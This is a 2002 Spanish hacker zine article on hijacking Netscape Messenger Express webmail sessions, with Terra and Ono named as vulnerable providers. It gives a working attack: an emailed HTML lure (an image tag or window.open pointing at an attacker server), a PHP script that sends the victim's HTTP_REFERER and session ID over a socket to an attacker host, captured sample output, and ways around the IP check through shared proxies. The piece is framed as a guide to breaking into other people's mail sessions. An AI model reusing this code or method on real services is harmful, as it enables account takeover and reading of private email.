////////////////////////////////////////////
/                                          /
/ Netscape Messenger Express               /
/ Atacando la autentificacion de usuario   /
/                                          /
/ FraMe - frame@kernelpanik.org            /
/ KernelPaniK 2002 - www.kernelpanik.org   /
/                                          /
////////////////////////////////////////////


Netscape Messenger Express, abreviando NME, es un webmail
con bastante aceptación. Es usado, en España, por gente
como Terra, Airtel u Ono.

Este pequeño documento trata de explicar como NME autentifica
a los usuarios, los fallos teóricos que tiene este mecanismo, 
y por ultimo mostrar 2 casos prácticos de intrusión remota a
sesiones de NME ajenas.

Recien logueados en nuestro NME, evidentemente como usuarios
comunes y corrientes, nos vamos a encontrar en nuestra barra
del navegador algo del estilo:

http://xxx.xxx.xxx/es/mail.html?sid=er6m0q3hh8seb&lang=es
&host=http://xxx.xxx.xxx/&cert=false

La primera parte ( http://xxx.xxx.xxx/es/mail.html ) está claro 
para lo que sirve, sí, tiene toda la pinta de ser una URL como
has visto millones.

Despues llegamos a la ristra de parametros y tenemos: 

	· sid=er6m0q3hh8seb
	· lang=es
	· host=http://xxx.xxx.xxx
	· cert=false

Lo de lang=es parece bastante obvio, el host es el mismo al que hacemos la
petición por lo cual tampoco tiene mucho misterio. Luego nos queda ver
para que sirve cert y sid.

Cert puedo decir, y perdonadme los que esperabais otra cosa, que no tengo ni 
la más remota idea de para que se utiliza, pero tambien os digo que si lo eliminais
y recargais la página no sufre ninguna modificación, así que tampoco parece que 
sea un parametro _demasiado importante_ ( Si lo poneis a true tampoco pasa nada ).

Pues visto lo visto, queda el parametro SID, que supongamos que viene a significar
ID Sesion, y que si no nos equivocamos es un string que se genera de forma aleatoria
para controlar nuestra sesión dentro de NME una vez que le hemos dado el user/pass
de forma satisfactoria. 

Aquí es cuando ya empezamos a babear, ¿verdad?. ¿Por qué digo esto?. Pues supongo que
porque a más de uno se le abrá pasado por la cabeza lo mismo que se me pasó a mí en 
su momento. Que más o menos es lo siguiente. "Si el SID es lo que controla la sesion, y
el SID está como parte de la URL no debe ser demasiado dificil obtener SID´s ajenos".

Efectivamente el planteamiento es _casi correcto_ porque como veremos NO es el SID lo
único que controla la sesión del usuario ( esto sería demasiado cutre ), pero eso lo 
vemos despues, ahora vamos al punto. ¿Es tán facil levantarle su SID a otro?.

Pues es _relativamente sencillo_. El SID forma parte de la URL, por tanto nosotros
lo que tenemos que hacer es obtener la URL de la sesión. ¿HTTP_REFERER?. Sí, exacto.

Básicamente si queremos obtener el SID de pepito@isp.com, el cual sabemos que lee su 
correo usando un Netscape Messenger Express, lo que tenemos que hacer es mandarle un 
correo, en el que se incluya bien attacheado, bien como texto del mismo ( en este caso
se han encontrado problemas con el referer ) un html con algo similar a esto:

Opcion A: <img src="http://servidor.del.atacante/file.php">
Opcion B: window.open('http://servidor.del.atacante/file.php')

El contenido del file.php tampoco es ningun misterio. Y puede ser algo bastante similar
a esto.

<?

// Name: refsnif.php
// Autor: FraMe ( frame@kernelpanik.org )
// Web: http://www.kernelpanik.org

// Use: Obtain HTTP_REFERER for a connection and send to a client (using sockets).


// Vars to modify

$PORT = 5555;
$NAMEHOST = "xxx.xxx.xxx";

//////////////////////////////////


$rhost = gethostbyname($NAMEHOST);

$sock = fsockopen($rhost, $PORT, &$errno, &$errstr, 30);

if(!sock) {
	exit();
} else {
	fputs($sock,$HTTP_REFERER);
}

fclose($fp);

?>

Para el que no sepa nada de PHP, decir que lo único que hace es abrir un socket hacia
una máquina "cliente" ( evidentemente controlada por el que ataca ) y suministrarle
el HTTP_REFERER del que ha leido el fichero ( el atacado en este caso ).

Como muestra:

Logging User Session ... 
Referer: http://xxx.xxx.xx/attach/file.htm?sid=br6et62qet9b5rt6&mbox=INBOX&uid=131&number=4&filename=abrelo.htm 
IP Session: 62.42.x.y

Pero como ya he dicho antes, no todo podía ser tan sencillo. Si tu llegas con tu recien referer capturado y lo
pones el server te va a decir algo del estilo "a parla", aunque como los servidores no tienen humor creo que dicen
"Session TimeOut - Relogin", que para el caso viene a ser lo mismo. 

¿Entonces que es lo que nos falta?. ¿Cookies?. Pongamos el HTTPush ( http://hispahack.ccc.de ). Pues no, esto no
usa cookies. Ups, parece que la cosa se pone fea, ¿La IP?. Pues sí, desgraciadamente o afortunadamente depende 
de por que lado se mira, MNE usa además del SID la IP del que establece la conexion como parametro de autentificación.
¿No hay nada que hacer?. Bueno, eso fue lo primero que puede parecer.

Sin embargo no es así. Pues está claro que hay una serie de casos en los que sigue siendo vulnerable. 

	a) Proxy no transparente del lado de los clientes.
	b) Proxy no transparente del lado del servidor.
	c) Intranets con NAT.

Y en esto de ver lo que pasa con los proxys estabamos cuando descubrimos lo siguiente:

>>> TERRA.ES 

terra.es tambien dispone de un NME como webmail, con una particularidad. Este webmail tiene un problema a la hora
de autentificar usuarios provinientes de proxys transparentes, o por lo menos es la única explicacion que le hemos
podido dar al fenómenos que vamos a describir a continuacion.

¿Proxys Transparentes?. Si vamos, creo que son así como se llaman y sino lo son seguro que alguien amablemente me lo
indica, los proxys que remiten la IP del usuario que ha solicitado la conexion al proxy, de la siguiente forma:

X-Forwarded-For: 62.42.X.Y

Es cierto que podría poner un chorizo de texto capturado del sniffer, pero no creo que sea necesario.

La cuestion es que cuando se realiza un ataque como el descrito anteriormente y el atacante, con su HTTP_REFERER recien
capturado: http://mb22.terra.es/es/mail.html?sid=xxxxxxxxxxxxxxxxx&lang=es&host=http://mb22.terra.es/&cert=false
usa para conectar a terra un proxy transparente el control de IP que hace NME queda invalidado, pudiendo acceder a 
la sesión de usuario.

>>> ONOBOX.COM

Aquellos usuarios que realizan su entrada a onobox desde el webcache de ono ( generalemnte va1-a-cache.ono.com ) 
tambien pueden sufrir robos de sesiones por parte de otros usuarios. 

>>> Consideraciones finales.

Todos aquellos usuarios que accedan a servicios NME desde IP´s comunitarias ( proxys, intranets, etc ) son supceptibles
de sufrir el robo de sesiones por parte de otros usuarios que puedan compartir su ip.

Por ultimo agradecer a MaDj0kEr y a AciD-KrS su ayuda y su paciencia :)

Nota: Disculpad las posibles faltas de ortografía, no son intencionales, pero tampoco he tenido ganas de revisar el texto.

///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////


"Bugs aren´t flaws, but undocumented features"